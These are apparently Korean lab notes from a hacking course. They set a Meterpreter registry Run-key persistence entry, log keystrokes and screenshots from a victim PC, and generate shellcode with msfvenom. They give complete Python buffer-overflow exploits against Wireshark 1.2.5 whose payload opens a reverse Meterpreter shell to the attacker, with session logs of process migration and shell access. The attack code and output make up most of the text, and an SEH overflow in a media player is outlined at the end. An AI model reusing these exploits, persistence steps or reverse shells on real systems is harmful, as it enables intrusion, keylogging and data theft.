Interact with the target machine's registry.

OPTIONS:

    -d <opt>  The data to store in the registry value.
    -h        Help menu.
    -k <opt>  The registry key path (E.g. HKLM\Software\Foo).
    -r <opt>  The remote machine name to connect to (with current process credentials
    -t <opt>  The registry value type (E.g. REG_SZ).
    -v <opt>  The registry value name (E.g. Stuff).
    -w        Set KEY_WOW64 flag, valid values [32|64].
COMMANDS:

    enumkey     Enumerate the supplied registry key [-k <key>]
    createkey   Create the supplied registry key  [-k <key>]
    deletekey   Delete the supplied registry key  [-k <key>]
    queryclass  Queries the class of the supplied key [-k <key>]
    setval      Set a registry value [-k <key> -v <val> -d <data>]
    deleteval   Delete the supplied registry value [-k <key> -v <val>]
    queryval    Queries the data contents of a value [-k <key> -v <val>]


regedit 명령어를 이용해서 확인한다.
"HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Windows->CurrentVersion->Run"

reg setval 명령어로 malware를 생성한다.
meterpreter > reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware -d "c:\\windows\\system32\\malware.exe"
Successfully set malware of REG_SZ.

reg deleteval 명령어로 malware를 삭제한다.
meterpreter > reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware -d "c:\\windows\\system32\\malware.exe"
Successfully deleted malware.

reg setval 명령어로 malware를 생성한다.
meterpreter > reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware -d "c:\\windows\\system32\\malware.exe"
Successfully set malware of REG_SZ.

reg enumkey 명령어를 이용해서 목록을 확인한다.
meterpreter > reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Enumerating: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  Keys (1):

	OptionalComponents

  Values (8):

	IMJPMIG8.1
	PHIME2002ASync
	PHIME2002A
	BluetoothAuthenticationAgent
	VMware User Process
	Adobe Reader Speed Launcher
	Adobe ARM
	malware    <-- 


queryval 명령어를 이용해서 test를 확인한다.
meterpreter > reg queryval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v malware
Key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Name: malware
Type: REG_SZ
Data: c:\windows\system32\malware.exe


meterpreter > exit
msf6 exploit(windows/browser/adobe_cooltype_sing) > exit

[root@kali ~]# vi malware.rc  
info multi/handler
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set lhost 200.200.200.3
set lport 80
exploit

[root@kali ~]# msfconsole -r malware.rc
  :
  :(생략)
resource (malware.rc)> set lhost 200.200.200.3
lhost => 200.200.200.3
resource (malware.rc)> set lport 80
lport => 80
resource (malware.rc)> exploit
[*] Started reverse TCP handler on 200.200.200.3:80   <-- 서버 대기 상태


Victim의 XP를 재부팅한다.
OS가 부팅되면 레지스트리에 등록된 c:\windows\system32\malware.exe  실행시켜서 공격자에게 연결된다.

  :
  :(생략)
resource (malware.rc)> exploit
[*] Started reverse TCP handler on 200.200.200.3:80 
[*] Sending stage (175686 bytes) to 200.200.200.200
[*] Meterpreter session 1 opened (200.200.200.3:80 -> 200.200.200.200:1025) at 2022-10-06 05:17:11 -0400

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter > shell
Process 908 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2

C:\Documents and Settings\ksw> exit


화면 캡처 기능
Victim에서 notepad를 실행해서 중요 정보를 저장한다.
meterpreter > screenshot
Screenshot saved to: /root/cdoJLXsz.jpeg

화면을 찍어서 Kali Linux에서 확인한다.

meterpreter > keyscan_start
Starting the keystroke sniffer ...

notepad를 test2/000000 을 입력하고 keyscan_dump로 확인하면 아래처럼 출력된다.
meterpreter > keyscan_dump
Dumping captured keystrokes...
<CR>
<CR>
test2<CR>
000000

실습> 쉘코드

쉘코드란 ?
기계어 코드가 메모리에 올라가서 직접적으로 실행하는 코드를 말한다.

예전 : 쉘을 실행하는 기계어 코드
현재 : 모든 명령어를 실행하는 기계어 코드

쉘코드를 사용하는 곳 ?
시스템 해킹 분야에서 사용한다.
보안 취약점이 있는 프로그램을 공략하기 위해서 사용한다.

쉘코드를 실행파일에서 뽑아내는 방법
C언어로 소스코드로 프로그램을 작성 -> 어셈블리어로 분석 -> 기계어로 뽑아낸다.

쉘코드를 쉽게 뽑아내는 방법
metasploit 안에 있는 msfvenom을 이용해서 쉘코드를 추출할 수 있다.

쉘코드 데이터베이스
http://shell-storm.org/shellcode/

쉘 코드를 뽑아내는 지식 : 
리눅스 : C언어, 어셈블리어, 시스템프로그래밍

실습> msfvenom 을 이용한 쉘코드 추출하기

/usr/share/metasploit-framework: 메타스플로잇 관련 디렉터리

Attacker# msfvenom -h
Attacker# ls -l /usr/bin/msfvenom
Attacker# ls -l /etc/alternatives/msfvenom
Attacker# ls -l /usr/share/metasploit-framework
Attacker# file /usr/share/metasploit-framework/msfvenom 
/usr/share/metasploit-framework/msfvenom: Ruby script, ASCII text

Attacker# msfvenom -l payloads 
Attacker# msfvenom -l payloads | grep linux/x64/exec
    linux/x64/exec                                      Execute an arbitrary command or just a /bin/sh shell

payload 옵션 확인
Attacker# msfvenom -p linux/x64/exec --list-options
Options for payload/linux/x64/exec:
=========================


       Name: Linux Execute Command
     Module: payload/linux/x64/exec
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 21
       Rank: Normal

Provided by:
    ricky
    Geyslan G. Bem <geyslan@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    no        The command string to execute

Description:
  Execute an arbitrary command or just a /bin/sh shell



Advanced options for payload/linux/x64/exec:
=========================

    Name                     Current Setting  Required  Description
    ----                     ---------------  --------  -----------
    AppendExit               false            no        Append a stub that executes the exit(0) system
                                                        call
    MeterpreterDebugLevel    0                yes       Set debug level for meterpreter 0-3 (Default ou
                                                        tput is strerr)
    NullFreeVersion          false            yes       Null-free shellcode version
    PrependChrootBreak       false            no        Prepend a stub that will break out of a chroot
                                                        (includes setreuid to root)
    PrependFork              false            no        Prepend a stub that starts the payload in its o
                                                        wn process via fork
    PrependSetgid            false            no        Prepend a stub that executes the setgid(0) syst
                                                        em call
    PrependSetregid          false            no        Prepend a stub that executes the setregid(0, 0)
                                                         system call
    PrependSetresgid         false            no        Prepend a stub that executes the setresgid(0, 0
                                                        , 0) system call
    PrependSetresuid         false            no        Prepend a stub that executes the setresuid(0, 0
                                                        , 0) system call
    PrependSetreuid          false            no        Prepend a stub that executes the setreuid(0, 0)
                                                         system call
    PrependSetuid            false            no        Prepend a stub that executes the setuid(0) syst
                                                        em call
    RemoteMeterpreterDebugF                   no        Redirect Debug Info to a Log File
    ile
    VERBOSE                  false            no        Enable detailed status messages
    WORKSPACE                                 no        Specify the workspace for this module

Evasion options for payload/linux/x64/exec:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------


포맷 형식 옵션 
msfvenom --help-formats  <-- 명령어 옵션이 변경되서 다시 확인!

명령어의 쉘코드 뽑아내기
Attacker# id
uid=0(root) gid=0(root) groups=0(root)


Attacker# msfvenom -p linux/x64/exec CMD=/usr/bin/id -f c -o shellcode1.c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of c file: 228 bytes
Saved as: shellcode1.c

Attcker# cat shellcode1.c
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c\x00\x00\x00\x2f"
"\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x56\x57\x54"
"\x5e\x6a\x3b\x58\x0f\x05";


소스코드 수정
생성된 shellcode1.c 파일을 C언어의 소스코드로 수정한다.
Attcker# vi shellcode1.c
/*
 * 파일명 : shellcode1.c
 * 프로그램 설명 : 쉘코드 테스트하기
 * 작성자 : linuxmasternet
 * 작성자 : 2023.03.10
 */
#include <stdio.h>

// id를 실행하는 쉘코드
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
"\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c\x00\x00\x00\x2f\x75\x73"
"\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x56\x57\x54\x5e\x6a\x3b"
"\x58\x0f\x05";

int main()
{
    int (*shellcode)();  // 함수 포인터
    shellcode = (int(*)())buf;  // 쉘코드 주소를 함수 포인터 저장
    (int)(*shellcode)();  // 함수 포인터 실행

    return 0;
}

컴파일 및 실행
소스코드를 컴파일하고 실행한다.
최신 OS들은 기본적으로 메모리(스택)는 실행 코드가 올라가도 그 코드의 실행을 방지한다.
Attcker# gcc -o shellcode1 shellcode1.c
Attacker ~# echo $SHELL
/bin/bash

Attcker# ./shellcode1
segmentation fault 

컴파일할 때 메모리(스택)에서 코드가 실행될 수 있도록 메모리 보호옵션을 해제한다.
Attacker# gcc -fno-stack-protector -z execstack -o shellcode1 shellcode1.c
Attacker# ./shellcode1
Segmentation fault


Kali에서 안되서 CentOS7에 가져와서 컴파일한 후에 실행한다.
Victim# vi shellcode1.c
/*
 * 파일명 : shellcode1.c
 * 프로그램 설명 : 쉘코드 테스트하기
 * 작성자 : linuxmasternet
 * 작성자 : 2023.03.10
 */
#include <stdio.h>

// id를 실행하는 쉘코드
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
"\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c\x00\x00\x00\x2f\x75\x73"
"\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x56\x57\x54\x5e\x6a\x3b"
"\x58\x0f\x05";

int main()
{
    int (*shellcode)();  // 함수 포인터
    shellcode = (int(*)())buf;  // 쉘코드 주소를 함수 포인터 저장
    (int)(*shellcode)();  // 함수 포인터 실행

    return 0;
}

Victim# yum -y install gcc
Victim# gcc -fno-stack-protector -z execstack -o shellcode1 shellcode1.c
Victim# ./shellcode1
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


PoC(Proof of Concept)
PoC는 개념 증명 코드로 PoC 코드란 소프트웨어의 취약점을 발견하면 이 취약점을 이용해서 
Exploit(공격) 코드를 이용해서 공격이 가능함을 보여주는 것을 말한다.
취약점을 증명만 하면 되므로 간단한 소스코드를 작성하고 취약점을 테스트한다.
윈도우의 쉘코드는 계산기를 실행한다.
리눅스의 쉘코드는 쉘을 실행한다.

실습> 와이어샤크의 취약점 공격코드 제작하기

1. expolit 코드 작성

Attacker# vi wiresharkAttack.py
#!/usr/bin/env python2

import socket, sys

try:
  host = sys.argv[1]
except:
  print("usage: " + sys.argv[0] + " <host>")
  exit(2)

port = 921
addr = (host, port)

leng = 9150
high = int(leng / 256)
low = leng & 255

crash = ("A" * 2128)

# Short jump
jmp = "\x90\x90\x06\xeb"

# pop/pop/ret in pcre3 0x61b4121b
ppr = "\x1b\x12\xb4\x61"

nop  = ("\x90" * 24)

# 224 bytes = calc.exe
shellcode = (
"\xbf\x86\x0a\x33\xa0\x2b\xc9\xda\xd9\xd9\x74\x24\xf4\xb1"
"\x32\x5e\x31\x7e\x11\x03\x7e\x11\x83\xc6\x82\xe8\xc6\x5c"
"\x62\x65\x28\x9d\x72\x16\xa0\x78\x43\x04\xd6\x09\xf1\x98"
"\x9c\x5c\xf9\x53\xf0\x74\x8a\x16\xdd\x7b\x3b\x9c\x3b\xb5"
"\xbc\x10\x84\x19\x7e\x32\x78\x60\x52\x94\x41\xab\xa7\xd5"
"\x86\xd6\x47\x87\x5f\x9c\xf5\x38\xeb\xe0\xc5\x39\x3b\x6f"
"\x75\x42\x3e\xb0\x01\xf8\x41\xe1\xb9\x77\x09\x19\xb2\xd0"
"\xaa\x18\x17\x03\x96\x53\x1c\xf0\x6c\x62\xf4\xc8\x8d\x54"
"\x38\x86\xb3\x58\xb5\xd6\xf4\x5f\x25\xad\x0e\x9c\xd8\xb6"
"\xd4\xde\x06\x32\xc9\x79\xcd\xe4\x29\x7b\x02\x72\xb9\x77"
"\xef\xf0\xe5\x9b\xee\xd5\x9d\xa0\x7b\xd8\x71\x21\x3f\xff"
"\x55\x69\xe4\x9e\xcc\xd7\x4b\x9e\x0f\xbf\x34\x3a\x5b\x52"
"\x21\x3c\x06\x39\xb4\xcc\x3c\x04\xb6\xce\x3e\x27\xde\xff"
"\xb5\xa8\x99\xff\x1f\x8d\x55\x4a\x3d\xa4\xfd\x13\xd7\xf4"
"\x60\xa4\x0d\x3a\x9c\x27\xa4\xc3\x5b\x37\xcd\xc6\x20\xff"
"\x3d\xbb\x39\x6a\x42\x68\x3a\xbf\x21\xef\xa8\x23\xa6\xe5"
)

crash2 = ("\xcc" * 6752)

data  = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x00\x00\x01"
data += chr(high) + chr(low) + crash + jmp + ppr + nop  + shellcode + crash2 + "\x00\x00"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print("can't lookup host")
  exit(1)

udps.close()
exit(0)

Attacker# chmod 755 wiresharkAttack.py 

2. 패킷 덤프
Victim Windows XP에 설치된 와이어샤크를 실행해서 패킷을 덤프 받는다.
Victim Windows XP에 방화벽을 해제한다.

3. 공격
다른 터미널을 열어서 wiresharkAttack.py 를 실행한다.
Attacker# ./wiresharkAttack.py  200.200.200.4

4. 계산기 확인
공격을 받은 Victim은 와이어샤크가 종료되면서 쉘코드(계산기)가 실행된다.

실습> 예외처리

>>> listData = [1,2,3,4,5]
>>> listData[0]
1
>>> listData[1]
2
>>> listData[2]
3
>>> listData[3]
4
>>> listData[4]
5
>>> listData.pop()
5
>>> listData
[1, 2, 3, 4]
>>> listData[4]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list index out of range
>>> try:
...      listData[4]
... except:
...      print("데이터가 없습니다.")
...
데이터가 없습니다.

실습> 와이어샤크 공격하기

공격 형태 : 리버스 연결 쉘코드
윈도우 XP에 설치된 와이어샤크 1.2.5를 공격해서 쉘권한을 얻는다.

-a x86: 32bit OS
--platform windows: 윈도우 OS 
-p windows/meterpreter/reverse_tcp: 미터프리터의 리버스쉘
LHOST=200.200.200.3: Attacker IP 주소 
LPORT=443: Attacker PORT 주소
-f python: 쉘코드를 파이썬으로 출력 
-b '\x00\xff': 제거할 문자
Attacker# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
LHOST=200.200.200.3 LPORT=443 -f python -b '\x00\xff'

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1887 bytes
buf =  b""
buf += b"\xda\xd8\xb8\x25\x3c\x25\x8f\xd9\x74\x24\xf4\x5b"
buf += b"\x33\xc9\xb1\x59\x31\x43\x19\x83\xeb\xfc\x03\x43"
buf += b"\x15\xc7\xc9\xd9\x67\x88\x32\x22\x78\xf6\x03\xf0"
buf += b"\x1c\x7d\x31\xc4\x57\xd3\xba\xad\x8d\x58\x90\xb9"
buf += b"\x7c\xa1\x1a\x75\x34\x7b\xae\x0b\xe1\xb2\x70\x47"
buf += b"\xcd\xd5\x0c\x9a\x02\x35\x2c\x55\x57\x34\x69\x23"
buf += b"\x1d\xd9\x27\x3f\x8f\x35\x9f\xb4\x72\x09\x1e\x1b"
buf += b"\xf9\x31\x58\x1e\x3e\xc5\xd4\x21\x6f\x75\x6e\x79"
buf += b"\xaf\x74\xa3\xf1\xe7\x6e\xc6\xcf\x8c\xb2\x81\x44"
buf += b"\x58\x41\x10\x8d\x90\xaa\x22\xf1\x7f\x95\x8a\xfc"
buf += b"\x7e\xd2\x2d\x1f\xf5\x28\x4e\xa2\x0e\xeb\x2c\x78"
buf += b"\x9a\xeb\x97\x0b\x3c\xcf\x26\xdf\xdb\x84\x25\x94"
buf += b"\xa8\xc2\x29\x2b\x7c\x79\x55\xa0\x83\xad\xdf\xf2"
buf += b"\xa7\x69\xbb\xa1\xc6\x28\x61\x07\xf6\x2a\xcd\xf8"
buf += b"\x52\x21\xfc\xef\xe3\xca\xfe\x0f\xbe\x5c\x32\xc2"
buf += b"\x41\x9c\x5c\x55\x31\xae\xc3\xcd\xdd\x82\x8c\xcb"
buf += b"\x1a\x93\x9b\xeb\xf5\x1b\xcb\x15\xf6\x5b\xc5\xd1"
buf += b"\xa2\x0b\x7d\xf3\xca\xc0\x7d\xfc\x1e\x7c\x74\x6a"
buf += b"\x69\x48\x40\x69\x01\x4a\x51\x6f\x6a\xc3\xb7\x3f"
buf += b"\xdc\x83\x67\x80\x8c\x63\xd8\x68\xc7\x6c\x07\x88"
buf += b"\xe8\xa7\x20\x23\x07\x11\x18\xdc\xbe\x38\xd2\x7d"
buf += b"\x3e\x97\x9e\xbe\xb4\x1d\x5e\x70\x3d\x54\x4c\x65"
buf += b"\x5a\x96\x8c\x76\xcf\x96\xe6\x72\x59\xc1\x9e\x78"
buf += b"\xbc\x25\x01\x82\xeb\x36\x46\x7c\x6a\x0e\x3c\x4b"
buf += b"\xf8\x2e\x2a\xb4\xec\xae\xaa\xe2\x66\xae\xc2\x52"
buf += b"\xd3\xfd\xf7\x9c\xce\x92\xab\x08\xf1\xc2\x18\x9a"
buf += b"\x99\xe8\x47\xec\x05\x13\xa2\x6e\x41\xeb\x30\x59"
buf += b"\xea\x83\xca\xd9\x0a\x53\xa1\xd9\x5a\x3b\x3e\xf5"
buf += b"\x55\x8b\xbf\xdc\x3d\x83\x4a\xb1\x8c\x32\x4a\x98"
buf += b"\x51\xea\x4b\x2f\x4a\x1d\x31\x40\x6d\xde\xc6\x48"
buf += b"\x0a\xdf\xc6\x74\x2c\xdc\x10\x4d\x5a\x23\xa1\xea"
buf += b"\x55\x16\x84\x5b\xfc\x58\x9a\x9c\xd5"


2. exploit 코드 작성

Attacker# vi wiresharkAttack2.py
#!/usr/bin/env python2

import socket, sys

try:
  host = sys.argv[1]
except:
  print("usage: " + sys.argv[0] + " <host>")
  exit(2)

port = 921
addr = (host, port)

leng = 9150
high = int(leng / 256)
low = leng & 255

crash = ("A" * 2128)

# Short jump
jmp = "\x90\x90\x06\xeb"

# pop/pop/ret in pcre3 0x61b4121b
ppr = "\x1b\x12\xb4\x61"

nop  = ("\x90" * 24)

buf =  b""
buf += b"\xda\xd8\xb8\x25\x3c\x25\x8f\xd9\x74\x24\xf4\x5b"
buf += b"\x33\xc9\xb1\x59\x31\x43\x19\x83\xeb\xfc\x03\x43"
buf += b"\x15\xc7\xc9\xd9\x67\x88\x32\x22\x78\xf6\x03\xf0"
buf += b"\x1c\x7d\x31\xc4\x57\xd3\xba\xad\x8d\x58\x90\xb9"
buf += b"\x7c\xa1\x1a\x75\x34\x7b\xae\x0b\xe1\xb2\x70\x47"
buf += b"\xcd\xd5\x0c\x9a\x02\x35\x2c\x55\x57\x34\x69\x23"
buf += b"\x1d\xd9\x27\x3f\x8f\x35\x9f\xb4\x72\x09\x1e\x1b"
buf += b"\xf9\x31\x58\x1e\x3e\xc5\xd4\x21\x6f\x75\x6e\x79"
buf += b"\xaf\x74\xa3\xf1\xe7\x6e\xc6\xcf\x8c\xb2\x81\x44"
buf += b"\x58\x41\x10\x8d\x90\xaa\x22\xf1\x7f\x95\x8a\xfc"
buf += b"\x7e\xd2\x2d\x1f\xf5\x28\x4e\xa2\x0e\xeb\x2c\x78"
buf += b"\x9a\xeb\x97\x0b\x3c\xcf\x26\xdf\xdb\x84\x25\x94"
buf += b"\xa8\xc2\x29\x2b\x7c\x79\x55\xa0\x83\xad\xdf\xf2"
buf += b"\xa7\x69\xbb\xa1\xc6\x28\x61\x07\xf6\x2a\xcd\xf8"
buf += b"\x52\x21\xfc\xef\xe3\xca\xfe\x0f\xbe\x5c\x32\xc2"
buf += b"\x41\x9c\x5c\x55\x31\xae\xc3\xcd\xdd\x82\x8c\xcb"
buf += b"\x1a\x93\x9b\xeb\xf5\x1b\xcb\x15\xf6\x5b\xc5\xd1"
buf += b"\xa2\x0b\x7d\xf3\xca\xc0\x7d\xfc\x1e\x7c\x74\x6a"
buf += b"\x69\x48\x40\x69\x01\x4a\x51\x6f\x6a\xc3\xb7\x3f"
buf += b"\xdc\x83\x67\x80\x8c\x63\xd8\x68\xc7\x6c\x07\x88"
buf += b"\xe8\xa7\x20\x23\x07\x11\x18\xdc\xbe\x38\xd2\x7d"
buf += b"\x3e\x97\x9e\xbe\xb4\x1d\x5e\x70\x3d\x54\x4c\x65"
buf += b"\x5a\x96\x8c\x76\xcf\x96\xe6\x72\x59\xc1\x9e\x78"
buf += b"\xbc\x25\x01\x82\xeb\x36\x46\x7c\x6a\x0e\x3c\x4b"
buf += b"\xf8\x2e\x2a\xb4\xec\xae\xaa\xe2\x66\xae\xc2\x52"
buf += b"\xd3\xfd\xf7\x9c\xce\x92\xab\x08\xf1\xc2\x18\x9a"
buf += b"\x99\xe8\x47\xec\x05\x13\xa2\x6e\x41\xeb\x30\x59"
buf += b"\xea\x83\xca\xd9\x0a\x53\xa1\xd9\x5a\x3b\x3e\xf5"
buf += b"\x55\x8b\xbf\xdc\x3d\x83\x4a\xb1\x8c\x32\x4a\x98"
buf += b"\x51\xea\x4b\x2f\x4a\x1d\x31\x40\x6d\xde\xc6\x48"
buf += b"\x0a\xdf\xc6\x74\x2c\xdc\x10\x4d\x5a\x23\xa1\xea"
buf += b"\x55\x16\x84\x5b\xfc\x58\x9a\x9c\xd5"

# 
shellcode = buf

crash2 = ("\xcc" * 6752)

data  = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x00\x00\x01"
data += chr(high) + chr(low) + crash + jmp + ppr + nop  + shellcode + crash2 + "\x00\x00"


udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print("can't lookup host")
  exit(1)

udps.close()
exit(0)

Attacker# chmod 755 wiresharkAttack2.py 

3. 공격 대기
Attacker# vi  wiresharkAttack.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
set ExitOnSession false
exploit -j -z

Attacker# msfconsole -r wiresharkAttack.rc

4. 패킷 덤프
Victim에서 와이어샤크로 패킷을 덤프 받는다.

5. 공격
새로 작성된 익스플로잇 코드를 실행한다.
Attacker# ./wiresharkAttack2.py 200.200.200.4

6. 공격자 연결
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 200.200.200.3:443 
msf6 exploit(multi/handler) > [*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:443 -> 200.200.200.4:1114) at 2023-03-09 22:39:00 -0500

msf6 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                Connection
  --  ----  ----                     -----------                ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM  200.200.200.3:443 -> 200.
                                     _WINXP                     200.200.4:1114 (200.200.2
                                                                00.4)

msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows


meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                 Path
 ---   ----  ----               ----  -------  ----                 ----
 0     0     [System Process]
 4     0     System             x86   0
 188   1140  conime.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\conime.exe
 224   700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 372   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 420   700   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.
                                                                    exe
 452   700   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 588   372   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 612   372   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 700   612   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 712   612   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 868   700   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 876   1624  dumpcap.exe        x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\dumpcap.exe
 884   700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 964   700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1048  700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1092  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1128  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1252  1048  wscntfy.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wscntfy.exe
 1316  884   wmiprvse.exe       x86   0                             C:\WINDOWS\system32\wbem\wmiprvse.exe
 1444  1420  explorer.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\Explorer.EXE
 1564  700   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1624  1444  wireshark.exe      x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\wireshark.exe
 1648  700   alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe
 1764  1444  rundll32.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\rundll32.exe
 1776  1444  vmtoolsd.exe       x86   0        VICTIM_WINXP\ksw     C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1840  1444  ctfmon.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\ctfmon.exe
 1848  1048  wuauclt.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wuauclt.exe

meterpreter > migrate  1444 
[*] Migrating from 1624 to 1444...
[*] Migration completed successfully.
meterpreter > shell
Process 1996 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw>exit
exit

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 200.200.200.4 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(multi/handler) > exit

실습> 소프트웨어 취약점을 이용한 reverse shell 연결하기

취약한 프로그램 : 아드레날린 BOF(SEH)

SEH(Structured Exception Handler)는 버퍼 오버 플로우(buffer overflow)같이 예기치 않은 문제가 발생했을 때, 
예외처리 루틴을 통해 문제를 방지하기 위한 예외 처리 기법이다.

소프트웨어 취약점을 이용한 공격은 프로그램을 제작한 제작자의 실수로 프로그램 내에 
들어있는 결함(취약점)을 얘기하며 공격자는 이런 제로데이 취약점을 발견하면 그 결함 부분에 
악성행위를 하는 코드를 삽입하여 실행되게 함으로써 사용자를 위험에 처하게 할 수 있다.

1. 동영상 프로그램 실행 
- 설치된 동영상 프로그램인 아드레날린을 실행한다.
  이 프로그램은 버퍼가 넘쳐서 문제를 일으키는 BOF(Buffer Over Flow) 취약점을 가지고 있다.

2. m3u 메타파일 오픈 
- 아드레날린에서 실행시킨 후 m3u 파일을 오픈한다.
   M3U(MP3 URL)는 .m3u 확장자로 저장된 오디오 재생 목록 파일이며 M3U는 실제 오디오 파일이 아니며 오디오 및 때로는 
   디오 파일을 가리킨다.

3. 계산기 쉘코드 실행
- 이 메타파일에는 정상 파일이 아닌 계산기 쉘코드가 저장되어 있어 프로그램 실행 시
  프로그램이 입력받을 수 있는 크기를 넘겨 BOF(Buffer Over Flow) 취약점을 발생시킨다.
  따라서 BOF가 일어나는 부분에 계산기 쉘코드를 삽입하면 프로그램이 종료되면서 계산기가 실행된다.

4. 원격 웹서버 계산기 다운로드 후 실행
- 3번에서 BOF가 발생되면서 프로그램이 비정상적으로 종료가 되고 파일 내부에 있는 계산기 코드가 
  실행되었다면 이 부분에 다른 형태의 쉘코드를 삽입하면 실행된다는 의미이다.
  따라서 4번에서 실습할 것은 쉘코드 부분에 원격 웹서버에 업로드한 계산기를 다운로드 받고 저장한 
  다음 계산기가 실행되는 것을 확인할 것이다.


